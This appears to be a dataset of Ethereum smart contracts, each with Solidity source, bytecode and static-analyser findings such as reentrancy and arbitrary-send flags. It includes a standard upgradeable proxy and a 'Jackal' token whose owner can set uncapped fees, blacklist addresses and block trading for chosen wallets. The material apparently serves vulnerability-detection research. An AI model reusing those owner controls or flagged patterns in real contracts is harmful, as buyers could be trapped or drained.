18b590836117bd565b6006556007546118c590826117ff565b6007555050565b60008080806118e660646118e08989611971565b90611589565b905060006118f960646118e08a89611971565b905060006119118261190b8b866117bd565b906117bd565b9992985090965090945050505050565b60008080806119308886611971565b9050600061193e8887611971565b9050600061194c8888611971565b9050600061195e8261190b86866117bd565b939b939a50919850919650505050505050565b600082611980575060006106d0565b600061198c8385611e5d565b9050826119998583611e3b565b146113a85760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b606482015260840161064a565b634e487b7160e01b600052604160045260246000fd5b6001600160a01b03811681146107fc57600080fd5b8035611a2681611a06565b919050565b60006020808385031215611a3e57600080fd5b823567ffffffffffffffff80821115611a5657600080fd5b818501915085601f830112611a6a57600080fd5b813581811115611a7c57611a7c6119f0565b8060051b604051601f19603f83011681018181108582111715611aa157611aa16119f0565b604052918252848201925083810185019188831115611abf57600080fd5b938501935b82851015611ae457611ad585611a1b565b84529385019392850192611ac4565b98975050505050505050565b600060208083528351808285015260005b81811015611b1d57858101830151858201604001528201611b01565b81811115611b2f576000604083870101525b50601f01601f1916929092016040019392505050565b60008060408385031215611b5857600080fd5b8235611b6381611a06565b946020939093013593505050565b600080600060608486031215611b8657600080fd5b8335611b9181611a06565b92506020840135611ba181611a06565b929592945050506040919091013590565b600060208284031215611bc457600080fd5b81356113a881611a06565b80358015158114611a2657600080fd5b600060208284031215611bf157600080fd5b6113a882611bcf565b600060208284031215611c0c57600080fd5b5035919050565b60008060008060808587031215611c2957600080fd5b5050823594602084013594506040840135936060013592509050565b600080600060408486031215611c5a57600080fd5b833567ffffffffffffffff80821115611c7257600080fd5b818601915086601f830112611c8657600080fd5b813581811115611c9557600080fd5b8760208260051b8501011115611caa57600080fd5b602092830195509350611cc09186019050611bcf565b90509250925092565b60008060408385031215611cdc57600080fd5b8235611ce781611a06565b91506020830135611cf781611a06565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b6000600019821415611d7757611d77611d4d565b5060010190565b600060208284031215611d9057600080fd5b81516113a881611a06565b60008219821115611dae57611dae611d4d565b500190565b600082821015611dc557611dc5611d4d565b500390565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611e1a5784516001600160a01b031683529383019391830191600101611df5565b50506001600160a01b03969096166060850152505050608001529392505050565b600082611e5857634e487b7160e01b600052601260045260246000fd5b500490565b6000816000190483118215151615611e7757611e77611d4d565b50029056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220638e2e0ec0b69d2bd23df1a85fe51647b9a0fcdd4051cb93f8f071521c12ebb764736f6c63430008090033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
5,084
0xfa9b7e3bd77f5aef4e305cacc2847f83e68bd7e6
/** *Submitted for verification at Etherscan.io on 2020-10-09 */ // SPDX-License-Identifier: MIT pragma solidity ^0.6.2; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; // solhint-disable-next-line no-inline-assembly assembly { size := extcodesize(account) } return size > 0; } } /** * @title Proxy * @dev Implements delegation of calls to other contracts, with proper * forwarding of return values and bubbling of failures. * It defines a fallback function that delegates all calls to the address * returned by the abstract _implementation() internal function. */ abstract contract Proxy { /** * @dev Fallback function. * Implemented entirely in `_fallback`. */ fallback () payable external { _fallback(); } /** * @dev Receive function. * Implemented entirely in `_fallback`. */ receive () payable external { _fallback(); } /** * @return The Address of the implementation. */ function _implementation() internal virtual view returns (address); /** * @dev Delegates execution to an implementation contract. * This is a low level function that doesn't return to its internal call site. * It will return to the external caller whatever the implementation returns. * @param implementation Address to delegate. */ function _delegate(address implementation) internal { assembly { // Copy msg.data. We take full control of memory in this inline assembly // block because it will not return to Solidity code. We overwrite the // Solidity scratch pad at memory position 0. calldatacopy(0, 0, calldatasize()) // Call the implementation. // out and outsize are 0 because we don't know the size yet. let result := delegatecall(gas(), implementation, 0, calldatasize(), 0, 0) // Copy the returned data. returndatacopy(0, 0, returndatasize()) switch result // delegatecall returns 0 on error. case 0 { revert(0, returndatasize()) } default { return(0, returndatasize()) } } } /** * @dev Function that is run as the first thing in the fallback function. * Can be redefined in derived contracts to add functionality. * Redefinitions must call super._willFallback(). */ function _willFallback() internal virtual { } /** * @dev fallback implementation. * Extracted to enable manual triggering. */ function _fallback() internal { _willFallback(); _delegate(_implementation()); } } /** * @title UpgradeabilityProxy * @dev This contract implements a proxy that allows to change the * implementation address to which it will delegate. * Such a change is called an implementation upgrade. */ contract UpgradeabilityProxy is Proxy { /** * @dev Contract constructor. * @param _logic Address of the initial implementation. * @param _data Data to send as msg.data to the implementation to initialize the proxied contract. * It should include the signature and the parameters of the function to be called, as described in * https://solidity.readthedocs.io/en/v0.4.24/abi-spec.html#function-selector-and-argument-encoding. * This parameter is optional, if no data is given the initialization call to proxied contract will be skipped. */ constructor(address _logic, bytes memory _data) public payable { assert(IMPLEMENTATION_SLOT == bytes32(uint256(keccak256('eip1967.proxy.implementation')) - 1)); _setImplementation(_logic); if(_data.length > 0) { (bool success,) = _logic.delegatecall(_data); require(success); } } /** * @dev Emitted when the implementation is upgraded. * @param implementation Address of the new implementation. */ event Upgraded(address indexed implementation); /** * @dev Storage slot with the address of the current implementation. * This is the keccak-256 hash of "eip1967.proxy.implementation" subtracted by 1, and is * validated in the constructor. */ bytes32 internal constant IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc; /** * @dev Returns the current implementation. * @return impl Address of the current implementation */ function _implementation() internal override view returns (address impl) { bytes32 slot = IMPLEMENTATION_SLOT; assembly { impl := sload(slot) } } /** * @dev Upgrades the proxy to a new implementation. * @param newImplementation Address of the new implementation. */ function _upgradeTo(address newImplementation) internal { _setImplementation(newImplementation); emit Upgraded(newImplementation); } /** * @dev Sets the implementation address of the proxy. * @param newImplementation Address of the new implementation. */ function _setImplementation(address newImplementation) internal { require(Address.isContract(newImplementation), "Cannot set a proxy implementation to a non-contract address"); bytes32 slot = IMPLEMENTATION_SLOT; assembly { sstore(slot, newImplementation) } } } /** * @title AdminUpgradeabilityProxy * @dev This contract combines an upgradeability proxy with an authorization * mechanism for administrative tasks. * All external functions in this contract must be guarded by the * `ifAdmin` modifier. See ethereum/solidity#3864 for a Solidity * feature proposal that would enable this to be done automatically. */ contract AdminUpgradeabilityProxy is UpgradeabilityProxy { /** * Contract constructor. * @param _logic address of the initial implementation. * @param _admin Address of the proxy administrator. * @param _data Data to send as msg.data to the implementation to initialize the proxied contract. * It should include the signature and the parameters of the function to be called, as described in * https://solidity.readthedocs.io/en/v0.4.24/abi-spec.html#function-selector-and-argument-encoding. * This parameter is optional, if no data is given the initialization call to proxied contract will be skipped. */ constructor(address _logic, address _admin, bytes memory _data) UpgradeabilityProxy(_logic, _data) public payable { assert(ADMIN_SLOT == bytes32(uint256(keccak256('eip1967.proxy.admin')) - 1)); _setAdmin(_admin); } /** * @dev Emitted when the administration has been transferred. * @param previousAdmin Address of the previous admin. * @param newAdmin Address of the new admin. */ event AdminChanged(address previousAdmin, address newAdmin); /** * @dev Storage slot with the admin of the contract. * This is the keccak-256 hash of "eip1967.proxy.admin" subtracted by 1, and is * validated in the constructor. */ bytes32 internal constant ADMIN_SLOT = 0xb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d6103; /** * @dev Modifier to check whether the `msg.sender` is the admin. * If it is, it will run the function. Otherwise, it will delegate the call * to the implementation. */ modifier ifAdmin() { if (msg.sender == _admin()) { _; } else { _fallback(); } } /** * @return The address of the proxy admin. */ function admin() external ifAdmin returns (address) { return _admin(); } /** * @return The address of the implementation. */ function implementation() external ifAdmin returns (address) { return _implementation(); } /** * @dev Changes the admin of the proxy. * Only the current admin can call this function. * @param newAdmin Address to transfer proxy administration to. */ function changeAdmin(address newAdmin) external ifAdmin { require(newAdmin != address(0), "Cannot change the admin of a proxy to the zero address"); emit AdminChanged(_admin(), newAdmin); _setAdmin(newAdmin); } /** * @dev Upgrade the backing implementation of the proxy. * Only the admin can call this function. * @param newImplementation Address of the new implementation. */ function upgradeTo(address newImplementation) external ifAdmin { _upgradeTo(newImplementation); } /** * @dev Upgrade the backing implementation of the proxy and call a function * on the new implementation. * This is useful to initialize the proxied contract. * @param newImplementation Address of the new implementation. * @param data Data to send as msg.data in the low level call. * It should include the signature and the parameters of the function to be called, as described in * https://solidity.readthedocs.io/en/v0.4.24/abi-spec.html#function-selector-and-argument-encoding. */ function upgradeToAndCall(address newImplementation, bytes calldata data) payable external ifAdmin { _upgradeTo(newImplementation); (bool success,) = newImplementation.delegatecall(data); require(success); } /** * @return adm The admin slot. */ function _admin() internal view returns (address adm) { bytes32 slot = ADMIN_SLOT; assembly { adm := sload(slot) } } /** * @dev Sets the address of the proxy admin. * @param newAdmin Address of the new proxy admin. */ function _setAdmin(address newAdmin) internal { bytes32 slot = ADMIN_SLOT; assembly { sstore(slot, newAdmin) } } /** * @dev Only fall back when the sender is not the admin. */ function _willFallback() internal override virtual { require(msg.sender != _admin(), "Cannot call fallback function from the proxy admin"); super._willFallback(); } }
0x60806040526004361061004e5760003560e01c80633659cfe6146100655780634f1ef286146100985780635c60da1b146101185780638f28397014610149578063f851a4401461017c5761005d565b3661005d5761005b610191565b005b61005b610191565b34801561007157600080fd5b5061005b6004803603602081101561008857600080fd5b50356001600160a01b03166101ab565b61005b600480360360408110156100ae57600080fd5b6001600160a01b0382351691908101906040810160208201356401000000008111156100d957600080fd5b8201836020820111156100eb57600080fd5b8035906020019184600183028401116401000000008311171561010d57600080fd5b5090925090506101e5565b34801561012457600080fd5b5061012d610292565b604080516001600160a01b039092168252519081900360200190f35b34801561015557600080fd5b5061005b6004803603602081101561016c57600080fd5b50356001600160a01b03166102cf565b34801561018857600080fd5b5061012d610389565b6101996103ba565b6101a96101a461041a565b61043f565b565b6101b3610463565b6001600160a01b0316336001600160a01b031614156101da576101d581610488565b6101e2565b6101e2610191565b50565b6101ed610463565b6001600160a01b0316336001600160a01b031614156102855761020f83610488565b6000836001600160a01b031683836040518083838082843760405192019450600093509091505080830381855af49150503d806000811461026c576040519150601f19603f3d011682016040523d82523d6000602084013e610271565b606091505b505090508061027f57600080fd5b5061028d565b61028d610191565b505050565b600061029c610463565b6001600160a01b0316336001600160a01b031614156102c4576102bd61041a565b90506102cc565b6102cc610191565b90565b6102d7610463565b6001600160a01b0316336001600160a01b031614156101da576001600160a01b0381166103355760405162461bcd60e51b81526004018080602001828103825260368152602001806105876036913960400191505060405180910390fd5b7f7e644d79422f17c01e4894b5f4f588d331ebfa28653d42ae832dc59e38c9798f61035e610463565b604080516001600160a01b03928316815291841660208301528051918290030190a16101d5816104c8565b6000610393610463565b6001600160a01b0316336001600160a01b031614156102c4576102bd610463565b3b151590565b6103c2610463565b6001600160a01b0316336001600160a01b031614156104125760405162461bcd60e51b81526004018080602001828103825260328152602001806105556032913960400191505060405180910390fd5b6101a96101a9565b7f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc5490565b3660008037600080366000845af43d6000803e80801561045e573d6000f35b3d6000fd5b7fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d61035490565b610491816104ec565b6040516001600160a01b038216907fbc7cd75a20ee27fd9adebab32041f755214dbc6bffa90cc0225b39da2e5c2d3b90600090a250565b7fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d610355565b6104f5816103b4565b6105305760405162461bcd60e51b815260040180806020018281038252603b8152602001806105bd603b913960400191505060405180910390fd5b7f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc5556fe43616e6e6f742063616c6c2066616c6c6261636b2066756e6374696f6e2066726f6d207468652070726f78792061646d696e43616e6e6f74206368616e6765207468652061646d696e206f6620612070726f787920746f20746865207a65726f206164647265737343616e6e6f742073657420612070726f787920696d706c656d656e746174696f6e20746f2061206e6f6e2d636f6e74726163742061646472657373a264697066735822122073c4c21e5c673ed7cd3c216206991b426c7391cadd714e9a2c3f3ee94217be2b64736f6c634300060c0033
{"success": true, "error": null, "results": {}}
5,085
0x85a30b93cc4f4bc8480c3f6fdc6eda02fdb8de2b
// SPDX-License-Identifier: Unlicensed pragma solidity ^0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); } contract Jackal is Context, IERC20, Ownable { using SafeMath for uint256; string private constant _name = "Jackal"; string private constant _symbol = "JACKAL"; uint8 private constant _decimals = 9; mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 100000000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; //Buy Fee uint256 private _redisFeeOnBuy = 1; uint256 private _taxFeeOnBuy = 9; //Sell Fee uint256 private _redisFeeOnSell = 1; uint256 private _taxFeeOnSell = 9; //Original Fee uint256 private _redisFee = _redisFeeOnSell; uint256 private _taxFee = _taxFeeOnSell; uint256 private _previousredisFee = _redisFee; uint256 private _previoustaxFee = _taxFee; mapping(address => bool) public bots; mapping (address => bool) public preTrader; mapping(address => uint256) private cooldown; address payable private _marketingAddress = payable(0x6b4d1a4d9d7d14E900C1838bD6286F4ba14C2d59); IUniswapV2Router02 public uniswapV2Router; address public uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = true; uint256 public _maxTxAmount = 500000000000 * 10**9; //0.5% of total supply per txn uint256 public _maxWalletSize = 1500000000000 * 10**9; //1.50% of total supply uint256 public _swapTokensAtAmount = 10000000000 * 10**9; //0.1% event MaxTxAmountUpdated(uint256 _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor() { _rOwned[_msgSender()] = _rTotal; IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_marketingAddress] = true; preTrader[owner()] = true; bots[address(0x00000000000000000000000000000000001)] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function tokenFromReflection(uint256 rAmount) private view returns (uint256) { require( rAmount <= _rTotal, "Amount must be less than total reflections" ); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if (_redisFee == 0 && _taxFee == 0) return; _previousredisFee = _redisFee; _previoustaxFee = _taxFee; _redisFee = 0; _taxFee = 0; } function restoreAllFee() private { _redisFee = _previousredisFee; _taxFee = _previoustaxFee; } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { //Trade start check if (!tradingOpen) { require(preTrader[from], "TOKEN: This account cannot send tokens until trading is enabled"); } require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit"); require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!"); if(to != uniswapV2Pair) { require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!"); } uint256 contractTokenBalance = balanceOf(address(this)); bool canSwap = contractTokenBalance >= _swapTokensAtAmount; if(contractTokenBalance >= _maxTxAmount) { contractTokenBalance = _maxTxAmount; } if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; //Transfer Tokens if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) { takeFee = false; } else { //Set Fee for Buys if(from == uniswapV2Pair && to != address(uniswapV2Router)) { _redisFee = _redisFeeOnBuy; _taxFee = _taxFeeOnBuy; } //Set Fee for Sells if (to == uniswapV2Pair && from != address(uniswapV2Router)) { _redisFee = _redisFeeOnSell; _taxFee = _taxFeeOnSell; } } _tokenTransfer(from, to, amount, takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _marketingAddress.transfer(amount); } function setTrading(bool _tradingOpen) public onlyOwner { tradingOpen = _tradingOpen; } function manualswap() external { require(_msgSender() == _marketingAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _marketingAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function blockBots(address[] memory bots_) public onlyOwner { for (uint256 i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function unblockBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer( address sender, address recipient, uint256 amount, bool takeFee ) private { if (!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if (!takeFee) restoreAllFee(); } function _transferStandard( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam ) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns ( uint256, uint256, uint256, uint256, uint256, uint256 ) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _redisFee, _taxFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues( uint256 tAmount, uint256 redisFee, uint256 taxFee ) private pure returns ( uint256, uint256, uint256 ) { uint256 tFee = tAmount.mul(redisFee).div(100); uint256 tTeam = tAmount.mul(taxFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues( uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate ) private pure returns ( uint256, uint256, uint256 ) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner { _redisFeeOnBuy = redisFeeOnBuy; _redisFeeOnSell = redisFeeOnSell; _taxFeeOnBuy = taxFeeOnBuy; _taxFeeOnSell = taxFeeOnSell; } //Set minimum tokens required to swap. function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner { _swapTokensAtAmount = swapTokensAtAmount; } //Set minimum tokens required to swap. function toggleSwap(bool _swapEnabled) public onlyOwner { swapEnabled = _swapEnabled; } //Set MAx transaction function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner { _maxTxAmount = maxTxAmount; } function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner { _maxWalletSize = maxWalletSize; } function allowPreTrading(address account, bool allowed) public onlyOwner { require(preTrader[account] != allowed, "TOKEN: Already enabled."); preTrader[account] = allowed; } }
0x6080604052600436106101c55760003560e01c8063715018a6116100f757806398a5c31511610095578063bfd7928411610064578063bfd7928414610528578063c3c8cd8014610558578063dd62ed3e1461056d578063ea1644d5146105b357600080fd5b806398a5c31514610498578063a2a957bb146104b8578063a9059cbb146104d8578063bdd795ef146104f857600080fd5b80638da5cb5b116100d15780638da5cb5b146104155780638f70ccf7146104335780638f9a55c01461045357806395d89b411461046957600080fd5b8063715018a6146103ca57806374010ece146103df5780637d1db4a5146103ff57600080fd5b80632fd689e3116101645780636b9990531161013e5780636b999053146103555780636d8aa8f8146103755780636fc3eaec1461039557806370a08231146103aa57600080fd5b80632fd689e314610303578063313ce5671461031957806349bd5a5e1461033557600080fd5b80631694505e116101a05780631694505e1461026457806318160ddd1461029c57806323b872dd146102c35780632f9c4569146102e357600080fd5b8062b8cf2a146101d157806306fdde03146101f3578063095ea7b31461023457600080fd5b366101cc57005b600080fd5b3480156101dd57600080fd5b506101f16101ec3660046118f9565b6105d3565b005b3480156101ff57600080fd5b50604080518082019091526006815265129858dad85b60d21b60208201525b60405161022b9190611a2b565b60405180910390f35b34801561024057600080fd5b5061025461024f3660046118cd565b610672565b604051901515815260200161022b565b34801561027057600080fd5b50601454610284906001600160a01b031681565b6040516001600160a01b03909116815260200161022b565b3480156102a857600080fd5b5069152d02c7e14af68000005b60405190815260200161022b565b3480156102cf57600080fd5b506102546102de366004611857565b610689565b3480156102ef57600080fd5b506101f16102fe366004611898565b6106f2565b34801561030f57600080fd5b506102b560185481565b34801561032557600080fd5b506040516009815260200161022b565b34801561034157600080fd5b50601554610284906001600160a01b031681565b34801561036157600080fd5b506101f16103703660046117e4565b6107b6565b34801561038157600080fd5b506101f16103903660046119c5565b610801565b3480156103a157600080fd5b506101f1610849565b3480156103b657600080fd5b506102b56103c53660046117e4565b610876565b3480156103d657600080fd5b506101f1610898565b3480156103eb57600080fd5b506101f16103fa3660046119e0565b61090c565b34801561040b57600080fd5b506102b560165481565b34801561042157600080fd5b506000546001600160a01b0316610284565b34801561043f57600080fd5b506101f161044e3660046119c5565b61093b565b34801561045f57600080fd5b506102b560175481565b34801561047557600080fd5b50604080518082019091526006815265129050d2d05360d21b602082015261021e565b3480156104a457600080fd5b506101f16104b33660046119e0565b610983565b3480156104c457600080fd5b506101f16104d33660046119f9565b6109b2565b3480156104e457600080fd5b506102546104f33660046118cd565b6109f0565b34801561050457600080fd5b506102546105133660046117e4565b60116020526000908152604090205460ff1681565b34801561053457600080fd5b506102546105433660046117e4565b60106020526000908152604090205460ff1681565b34801561056457600080fd5b506101f16109fd565b34801561057957600080fd5b506102b561058836600461181e565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b3480156105bf57600080fd5b506101f16105ce3660046119e0565b610a33565b6000546001600160a01b031633146106065760405162461bcd60e51b81526004016105fd90611a80565b60405180910390fd5b60005b815181101561066e5760016010600084848151811061062a5761062a611bc7565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061066681611b96565b915050610609565b5050565b600061067f338484610a62565b5060015b92915050565b6000610696848484610b86565b6106e884336106e385604051806060016040528060288152602001611c09602891396001600160a01b038a1660009081526004602090815260408083203384529091529020549190611089565b610a62565b5060019392505050565b6000546001600160a01b0316331461071c5760405162461bcd60e51b81526004016105fd90611a80565b6001600160a01b03821660009081526011602052604090205460ff161515811515141561078b5760405162461bcd60e51b815260206004820152601760248201527f544f4b454e3a20416c726561647920656e61626c65642e00000000000000000060448201526064016105fd565b6001600160a01b03919091166000908152601160205260409020805460ff1916911515919091179055565b6000546001600160a01b031633146107e05760405162461bcd60e51b81526004016105fd90611a80565b6001600160a01b03166000908152601060205260409020805460ff19169055565b6000546001600160a01b0316331461082b5760405162461bcd60e51b81526004016105fd90611a80565b60158054911515600160b01b0260ff60b01b19909216919091179055565b6013546001600160a01b0316336001600160a01b03161461086957600080fd5b47610873816110c3565b50565b6001600160a01b038116600090815260026020526040812054610683906110fd565b6000546001600160a01b031633146108c25760405162461bcd60e51b81526004016105fd90611a80565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146109365760405162461bcd60e51b81526004016105fd90611a80565b601655565b6000546001600160a01b031633146109655760405162461bcd60e51b81526004016105fd90611a80565b60158054911515600160a01b0260ff60a01b19909216919091179055565b6000546001600160a01b031633146109ad5760405162461bcd60e51b81526004016105fd90611a80565b601855565b6000546001600160a01b031633146109dc5760405162461bcd60e51b81526004016105fd90611a80565b600893909355600a91909155600955600b55565b600061067f338484610b86565b6013546001600160a01b0316336001600160a01b031614610a1d57600080fd5b6000610a2830610876565b905061087381611181565b6000546001600160a01b03163314610a5d5760405162461bcd60e51b81526004016105fd90611a80565b601755565b6001600160a01b038316610ac45760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016105fd565b6001600160a01b038216610b255760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016105fd565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610bea5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016105fd565b6001600160a01b038216610c4c5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161